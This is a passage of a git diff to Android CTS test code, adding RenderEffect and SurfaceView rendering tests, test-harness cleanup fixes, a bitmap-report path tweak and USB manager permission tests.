+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testOffsetImplicitInputRenderEffect() {
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(offsetEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.BLUE);
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint();
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        new Rect(
+                                                0,
+                                                0,
+                                                TEST_WIDTH - 1,
+                                                offsetY - 1
+                                        ),
+                                        new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                0,
+                                                0,
+                                                offsetX - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.RED)
+                        )
+            );
+    }
+
+    @Test
+    public void testColorFilterRenderEffectImplicitInput() {
+        RenderEffect colorFilterEffect = RenderEffect.createColorFilterEffect(
+                new BlendModeColorFilter(Color.RED, BlendMode.SRC_OVER));
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.BLUE);
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
+
+    @Test
+    public void testBlendModeRenderEffectImplicitInput() {
+        Bitmap srcBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        srcBitmap.eraseColor(Color.BLUE);
+
+        Bitmap dstBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        dstBitmap.eraseColor(Color.RED);
+
+        RenderEffect colorFilterEffect = RenderEffect.createBlendModeEffect(
+                RenderEffect.createBitmapEffect(dstBitmap),
+                RenderEffect.createBitmapEffect(srcBitmap),
+                BlendMode.SRC
+        );
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawColor(Color.TRANSPARENT);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+    @Test
+    public void testColorFilterRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, paint);
+
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(
+                bitmap, null, new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT));
+
+        RenderEffect colorFilterEffect = RenderEffect.createColorFilterEffect(
+                new BlendModeColorFilter(Color.RED, BlendMode.SRC_OVER), bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(colorFilterEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            Paint renderNodePaint = new Paint();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, renderNodePaint);
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.RED));
+    }
+
+    @Test
+    public void testOffsetRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, bitmap.getWidth(), bitmap.getHeight(), paint);
+
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(bitmap);
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY, bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(offsetEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint();
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        new Rect(0, 0, TEST_WIDTH - 1, offsetY - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(0, 0, offsetX - 1, TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+            );
+    }
+
+    @Test
+    public void testViewRenderNodeBlurEffect() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addLayout(R.layout.frame_layout, (view) -> {
+                    FrameLayout root = view.findViewById(R.id.frame_layout);
+                    View innerView = new View(view.getContext());
+                    innerView.setLayoutParams(
+                            new FrameLayout.LayoutParams(TEST_WIDTH, TEST_HEIGHT));
+                    innerView.setBackground(new TestDrawable());
+                    root.addView(innerView);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    private static class TestDrawable extends Drawable {
+
+        private final Paint mPaint = new Paint();
+
+        @Override
+        public void draw(@NonNull Canvas canvas) {
+            mPaint.setColor(Color.WHITE);
+
+            Rect rect = getBounds();
+            canvas.drawRect(rect, mPaint);
+            mPaint.setColor(Color.BLUE);
+
+            canvas.drawRect(
+                    10,
+                    10,
+                    rect.right - 10,
+                    rect.bottom - 10,
+                    mPaint
+            );
+        }
+
+        @Override
+        public void setAlpha(int alpha) {
+            // No-op
+        }
+
+        @Override
+        public void setColorFilter(@Nullable ColorFilter colorFilter) {
+            // No-op
+        }
+
+        @Override
+        public int getOpacity() {
+            return 0;
+        }
+    }
+
+    @Test
+    public void testBlurRenderEffectImplicitInput() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(
+                RenderEffect.createBlurEffect(
+                        blurRadius,
+                        blurRadius,
+                        Shader.TileMode.DECAL
+                )
+        );
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas canvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.WHITE);
+            canvas.drawRect(fullBounds, paint);
+
+            paint.setColor(Color.BLUE);
+
+            canvas.drawRect(insetBounds, paint);
+            renderNode.endRecording();
+        }
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    @Test
+    public void testBlurRenderEffect() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(
+                RenderEffect.createBlurEffect(
+                        blurRadius,
+                        blurRadius,
+                        null,
+                        Shader.TileMode.DECAL
+                )
+        );
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas canvas = renderNode.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.WHITE);
+            canvas.drawRect(fullBounds, paint);
+
+            paint.setColor(Color.BLUE);
+
+            canvas.drawRect(insetBounds, paint);
+            renderNode.endRecording();
+        }
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    @Test
+    public void testChainRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas bitmapCanvas = new Canvas(bitmap);
+        Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);
+        paint.setColor(Color.BLUE);
+        bitmapCanvas.drawRect(0, 0, bitmap.getWidth(), bitmap.getHeight(), paint);
+
+        final int offsetX = 20;
+        final int offsetY = 20;
+        RenderEffect bitmapEffect = RenderEffect.createBitmapEffect(bitmap);
+        RenderEffect offsetEffect = RenderEffect.createOffsetEffect(offsetX, offsetY);
+        RenderEffect chainEffect = RenderEffect.createChainEffect(offsetEffect, bitmapEffect);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(chainEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    Paint canvasClientPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
+                    canvasClientPaint.setColor(Color.RED);
+                    canvas.drawRect(0, 0, width, height, canvasClientPaint);
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                    new Rect(
+                                            0,
+                                            0,
+                                            TEST_WIDTH - 1,
+                                            offsetY - 1
+                                    ),
+                                    new ColorVerifier(Color.RED)
+                                )
+                                .addVerifier(
+                                        new Rect(
+                                                offsetX + 1,
+                                                offsetY + 1,
+                                                TEST_WIDTH - 1,
+                                                TEST_HEIGHT - 1
+                                        ),
+                                        new ColorVerifier(Color.BLUE)
+                                )
+                                .addVerifier(
+                                        new Rect(0, 0, offsetX - 1, TEST_HEIGHT - 1),
+                                        new ColorVerifier(Color.RED)
+                                )
+            );
+    }
+
+    @Test
+    public void testShaderRenderEffect() {
+        LinearGradient gradient = new LinearGradient(
+                0f, 0f,
+                0f, TEST_HEIGHT,
+                new int[] { Color.RED, Color.BLUE },
+                null,
+                Shader.TileMode.CLAMP
+        );
+
+        RenderEffect shaderEffect = RenderEffect.createShaderEffect(gradient);
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(shaderEffect);
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            recordingCanvas.drawRect(0, 0, TEST_WIDTH, TEST_HEIGHT, new Paint());
+            renderNode.endRecording();
+        }
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                    new SamplePointVerifier(
+                            new Point[] {
+                                    new Point(0, 0),
+                                    new Point(0, TEST_HEIGHT - 1)
+                            },
+                            new int[] { Color.RED, Color.BLUE }
+                    )
+            );
+    }
+
+
+    @Test
+    public void testBlurShaderLargeRadiiEdgeReplication() {
+        final int blurRadius = 200;
+        final int left = 0;
+        final int top = 0;
+        final int right = TEST_WIDTH;
+        final int bottom = TEST_HEIGHT;
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(
+                RenderEffect.createBlurEffect(
+                        blurRadius,
+                        blurRadius,
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+        renderNode.setPosition(left, top, right, bottom);
+        {
+            Canvas canvas = renderNode.beginRecording();
+            Paint blurPaint = new Paint();
+            blurPaint.setColor(Color.BLUE);
+            canvas.save();
+            canvas.clipRect(left, top, right, bottom);
+            canvas.drawRect(left, top, right, bottom, blurPaint);
+            canvas.restore();
+            renderNode.endRecording();
+        }
+        // Ensure that blurring with large blur radii with clipped content shows a solid
+        // blur square.
+        // Previously blur radii that were very large would end up blurring pixels outside
+        // of the source with transparent leading to larger blur radii actually being less
+        // blurred than smaller radii.
+        // Because the internal SkTileMode is set to kClamp, the edges of the source are used in
+        // blur kernels that extend beyond the bounds of the source
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLUE));
+    }
+
+
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 05fc15f..d5560d8 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -23,7 +23,6 @@
 import android.graphics.Rect;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
-import android.uirendering.cts.runner.SkipPresubmit;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
@@ -148,11 +147,16 @@
             FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
             mSurfaceView = new SurfaceView(view.getContext());
             mSurfaceView.getHolder().addCallback(this);
+            onSurfaceViewCreated(mSurfaceView);
             root.addView(mSurfaceView, new FrameLayout.LayoutParams(
                     FrameLayout.LayoutParams.MATCH_PARENT,
                     FrameLayout.LayoutParams.MATCH_PARENT));
         }
 
+        public void onSurfaceViewCreated(SurfaceView surfaceView) {
+
+        }
+
         @Override
         public void surfaceCreated(SurfaceHolder holder) {
         }
@@ -189,4 +193,24 @@
                 .withScreenshotter(helper)
                 .runWithVerifier(new ColorVerifier(Color.GREEN, 0 /* zero tolerance */));
     }
+
+    @Test
+    public void testSurfaceViewHolePunchWithLayer() {
+        SurfaceViewHelper helper = new SurfaceViewHelper((canvas, width, height) -> {
+            Assert.assertNotNull(canvas);
+            Assert.assertTrue(canvas.isHardwareAccelerated());
+            canvas.drawColor(Color.GREEN);
+        }
+        ) {
+            @Override
+            public void onSurfaceViewCreated(SurfaceView surfaceView) {
+                surfaceView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+            }
+        };
+        createTest()
+                .addLayout(R.layout.frame_layout, helper, true, helper.getFence())
+                .withScreenshotter(helper)
+                .runWithVerifier(new ColorVerifier(Color.GREEN, 0 /* zero tolerance */));
+
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java
new file mode 100644
index 0000000..0d925a8
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/WebviewCanvasRRectClip.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Path;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.util.AttributeSet;
+import android.webkit.WebView;
+
+public class WebviewCanvasRRectClip extends WebView {
+    final Path mClipPath = new Path();
+    public WebviewCanvasRRectClip(Context context) {
+        this(context, null);
+    }
+
+    public WebviewCanvasRRectClip(Context context, AttributeSet attrs) {
+        this(context, attrs, 0);
+    }
+
+    public WebviewCanvasRRectClip(Context context, AttributeSet attrs, int defStyleAttr) {
+        this(context, attrs, defStyleAttr, 0);
+    }
+
+    public WebviewCanvasRRectClip(
+            Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        canvas.save();
+
+        mClipPath.reset();
+        mClipPath.addRoundRect(0, 0, getWidth(), getHeight(), ActivityTestBase.TEST_WIDTH / 4,
+                ActivityTestBase.TEST_HEIGHT / 4, Path.Direction.CW);
+        canvas.clipPath(mClipPath);
+
+        super.onDraw(canvas);
+
+        canvas.restore();
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 83b09c1..a243bb3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -218,12 +218,16 @@
 
             Bitmap idealBitmap = captureRenderSpec(mTestCases.remove(0));
 
-            for (TestCase testCase : mTestCases) {
-                Bitmap testCaseBitmap = captureRenderSpec(testCase);
-                mBitmapAsserter.assertBitmapsAreSimilar(idealBitmap, testCaseBitmap, bitmapComparer,
-                        getName(), testCase.getDebugString());
+            try {
+                for (TestCase testCase : mTestCases) {
+                    Bitmap testCaseBitmap = captureRenderSpec(testCase);
+                    mBitmapAsserter.assertBitmapsAreSimilar(idealBitmap, testCaseBitmap,
+                            bitmapComparer,
+                            getName(), testCase.getDebugString());
+                }
+            } finally {
+                getActivity().reset();
             }
-            getActivity().reset();
         }
 
         /**
@@ -235,12 +239,15 @@
                 throw new IllegalStateException("Need at least one test to run");
             }
 
-            for (TestCase testCase : mTestCases) {
-                Bitmap testCaseBitmap = captureRenderSpec(testCase);
-                mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
-                        getName(), testCase.getDebugString());
+            try {
+                for (TestCase testCase : mTestCases) {
+                    Bitmap testCaseBitmap = captureRenderSpec(testCase);
+                    mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
+                            getName(), testCase.getDebugString());
+                }
+            } finally {
+                getActivity().reset();
             }
-            getActivity().reset();
         }
 
         private static final int VERIFY_ANIMATION_LOOP_COUNT = 20;
@@ -258,21 +265,24 @@
                 throw new IllegalStateException("Need at least one test to run");
             }
 
-            for (TestCase testCase : mTestCases) {
-                TestPositionInfo testPositionInfo = runRenderSpec(testCase);
+            try {
+                for (TestCase testCase : mTestCases) {
+                    TestPositionInfo testPositionInfo = runRenderSpec(testCase);
 
-                for (int i = 0; i < VERIFY_ANIMATION_LOOP_COUNT; i++) {
-                    try {
-                        Thread.sleep(VERIFY_ANIMATION_SLEEP_MS);
-                    } catch (InterruptedException e) {
-                        e.printStackTrace();
+                    for (int i = 0; i < VERIFY_ANIMATION_LOOP_COUNT; i++) {
+                        try {
+                            Thread.sleep(VERIFY_ANIMATION_SLEEP_MS);
+                        } catch (InterruptedException e) {
+                            e.printStackTrace();
+                        }
+                        Bitmap testCaseBitmap = takeScreenshot(testPositionInfo);
+                        mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
+                                getName(), testCase.getDebugString());
                     }
-                    Bitmap testCaseBitmap = takeScreenshot(testPositionInfo);
-                    mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
-                            getName(), testCase.getDebugString());
                 }
+            } finally {
+                getActivity().reset();
             }
-            getActivity().reset();
         }
 
         /**
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
new file mode 100644
index 0000000..0c4701f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.util
+
+/**
+ * Helper to use ThrowNew from JNI to throw an AssertionError.
+ *
+ * ThrowNew calls <init>(String), but that constructor for AssertionError is
+ * private. In this case, there is no Throwable cause, so simplify the native
+ * code.
+ */
+class AssertionError(msg: String) : java.lang.AssertionError(msg, null)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
index adc1b06..b5f7d76 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
@@ -87,6 +87,16 @@
         return new File(testDirectory, testName + "_" + type + ".png");
     }
 
+    private static String bypassContentProvider(File file) {
+        // TradeFed currently insists on bouncing off of a content provider for the path
+        // we are using, but that content provider will never have permissions
+        // Since we want to avoid needing to use requestLegacyStorage & there's currently no
+        // option to tell TF to not use the content provider, just break its file
+        // detection pattern
+        // b/183140644
+        return "/." + file.getAbsolutePath();
+    }
+
     /**
      * Saves two files, one the capture of an ideal drawing, and one the capture of the tested
      * drawing. The third file saved is a bitmap that is returned from the given visualizer's
@@ -116,9 +126,10 @@
         saveBitmap(visualizerBitmap, visualizerFile);
 
         Bundle report = new Bundle();
-        report.putString(KEY_PREFIX + TYPE_IDEAL_RENDERING, idealFile.getAbsolutePath());
-        report.putString(KEY_PREFIX + TYPE_TESTED_RENDERING, testedFile.getAbsolutePath());
-        report.putString(KEY_PREFIX + TYPE_VISUALIZER_RENDERING, visualizerFile.getAbsolutePath());
+        report.putString(KEY_PREFIX + TYPE_IDEAL_RENDERING, bypassContentProvider(idealFile));
+        report.putString(KEY_PREFIX + TYPE_TESTED_RENDERING, bypassContentProvider(testedFile));
+        report.putString(KEY_PREFIX + TYPE_VISUALIZER_RENDERING,
+                bypassContentProvider(visualizerFile));
         sInstrumentation.sendStatus(INST_STATUS_IN_PROGRESS, report);
     }
 
@@ -130,7 +141,7 @@
         File capture = getFile(className, testName, TYPE_SINGULAR);
         saveBitmap(bitmap, capture);
         Bundle report = new Bundle();
-        report.putString(KEY_PREFIX + TYPE_SINGULAR, capture.getAbsolutePath());
+        report.putString(KEY_PREFIX + TYPE_SINGULAR, bypassContentProvider(capture));
         sInstrumentation.sendStatus(INST_STATUS_IN_PROGRESS, report);
     }
 
diff --git a/tests/tests/uirendering27/TEST_MAPPING b/tests/tests/uirendering27/TEST_MAPPING
index fa55ba8..318d99c 100644
--- a/tests/tests/uirendering27/TEST_MAPPING
+++ b/tests/tests/uirendering27/TEST_MAPPING
@@ -4,4 +4,4 @@
       "name": "CtsUiRenderingTestCases27"
     }
   ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/uirendering27/res/values/themes.xml b/tests/tests/uirendering27/res/values/themes.xml
index e75376b..fa5c591 100644
--- a/tests/tests/uirendering27/res/values/themes.xml
+++ b/tests/tests/uirendering27/res/values/themes.xml
@@ -19,6 +19,7 @@
         <item name="android:windowFullscreen">true</item>
         <item name="android:windowOverscan">true</item>
         <item name="android:fadingEdge">none</item>
+        <item name="android:windowDisablePreview">true</item>
         <item name="android:windowBackground">@android:color/white</item>
         <item name="android:windowContentTransitions">false</item>
         <item name="android:windowAnimationStyle">@null</item>
diff --git a/tests/tests/usb/AndroidTest.xml b/tests/tests/usb/AndroidTest.xml
index e4633e6..fb75184 100644
--- a/tests/tests/usb/AndroidTest.xml
+++ b/tests/tests/usb/AndroidTest.xml
@@ -25,5 +25,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.usb.cts" />
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/tests/usb/TEST_MAPPING b/tests/tests/usb/TEST_MAPPING
new file mode 100644
index 0000000..cb22eb9
--- /dev/null
+++ b/tests/tests/usb/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUsbManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
index 3443997..d88a292 100644
--- a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
+++ b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
@@ -25,6 +25,9 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import java.util.List;
+import java.util.ArrayList;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +46,9 @@
     private UiAutomation mUiAutomation =
         InstrumentationRegistry.getInstrumentation().getUiAutomation();
 
+    // Update latest HAL version here
+    private int USB_HAL_LATEST_VERSION = UsbManager.USB_HAL_V1_3;
+
     @Before
     public void setUp() {
         Assert.assertNotNull(mUsbManagerSys);
@@ -79,4 +85,62 @@
             Log.d(TAG, "Expected SecurityException on setCurrentFunctions");
         }
     }
+
+    /**
+     * Verify NO SecurityException.
+     */
+    @Test
+    public void test_UsbApiForUsbGadgetHal() throws Exception {
+        // Adopt MANAGE_USB permission.
+        mUiAutomation.adoptShellPermissionIdentity(MANAGE_USB);
+
+        // Should pass with permission.
+        int version = mUsbManagerSys.getGadgetHalVersion();
+        int usbBandwidth = mUsbManagerSys.getUsbBandwidthMbps();
+        if (version > UsbManager.GADGET_HAL_V1_1) {
+            Assert.assertTrue(usbBandwidth > UsbManager.USB_DATA_TRANSFER_RATE_UNKNOWN);
+        } else {
+            Assert.assertEquals(usbBandwidth, UsbManager.USB_DATA_TRANSFER_RATE_UNKNOWN);
+        }
+
+        // Drop MANAGE_USB permission.
+        mUiAutomation.dropShellPermissionIdentity();
+
+        try {
+            mUsbManagerSys.getGadgetHalVersion();
+            Assert.fail("Expecting SecurityException on getGadgetHalVersion.");
+        } catch (SecurityException secEx) {
+            Log.d(TAG, "Expected SecurityException on getGadgetHalVersion.");
+        }
+    }
+
+    /**
